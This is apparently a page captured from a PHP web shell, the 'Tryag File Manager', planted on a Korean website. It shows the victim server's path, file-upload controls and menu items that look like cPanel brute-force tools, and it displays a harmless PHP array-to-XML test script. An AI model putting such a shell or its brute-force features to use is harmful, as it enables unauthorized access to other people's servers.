Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
egg.eemo.co.kr
/
public_html
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/egg.eemo.co.kr/public_html/test_xml.php
<? $test = array ( 'data' => array ( 'normal1' => 'foo', 'normal2' => 'bar', 'foo_assoc' => [ 'val'=>'foo', 'val'=>'bar', 'val'=>'baz', [ 'val2'=>'derp', 'val2'=>'derpmore' ] ], 'foo_nonassoc' => [ 'derppp' => 'yes', 'daarpp' => 'no', 'lel', 'far' => 'away' ], 'normal3' => 'lala', 'deep' => [ 'deeper' => [ 'deeper2' => [ 'deepest' => [ 'quite', 'deep', 'indeed' ], 'checkmate' ] ] ], 'special' => 'encodingtest', 'me_n_you' => 'true' ) ); $xml = array( 'quiz'=> array( 'question' => '대한민국의 초대 대통령은?', 'answer' => '이승만', 'url' => 'http://jmnote.com/wiki/PHP로_XML_생성' )); $xxml = array(); $xxml['rst'] = array(); $arr_tmp['data']=3; $arr_tmp['data2']=4; $xxml['rst']=$arr_tmp; //echo (xml_encode ( $test )); header('Content-type: text/xml'); echo "<?xml version='1.0' encoding='UTF-8'?>\n"; //echo array_xml($xxml); echo uniqid(); function xml_encode($mixed, $domElement=null, $DOMDocument=null) { if (is_null($DOMDocument)) { $DOMDocument =new DOMDocument; $DOMDocument->formatOutput = true; xml_encode($mixed, $DOMDocument, $DOMDocument); echo $DOMDocument->saveXML(); } else { // To cope with embedded objects if (is_object($mixed)) { $mixed = get_object_vars($mixed); } if (is_array($mixed)) { foreach ($mixed as $index => $mixedElement) { if (is_int($index)) { if ($index === 0) { $node = $domElement; } else { $node = $DOMDocument->createElement($domElement->tagName); $domElement->parentNode->appendChild($node); } } else { $plural = $DOMDocument->createElement($index); $domElement->appendChild($plural); $node = $plural; if (!(rtrim($index, 's') === $index)) { $singular = $DOMDocument->createElement(rtrim($index, 's')); $plural->appendChild($singular); $node = $singular; } } xml_encode($mixedElement, $node, $DOMDocument); } } else { $mixed = is_bool($mixed) ? ($mixed ? 'true' : 'false') : $mixed; $domElement->appendChild($DOMDocument->createTextNode($mixed)); } } } function array_xml($arr, $num_prefix = "num_") { if(!is_array($arr)) return $arr; $result = ''; foreach($arr as $key => $val) { $key = (is_numeric($key)? $num_prefix.$key : $key); $result .= '<'.$key.'>'.array_xml($val, $num_prefix).'</'.$key.'>'; } return $result; } ?>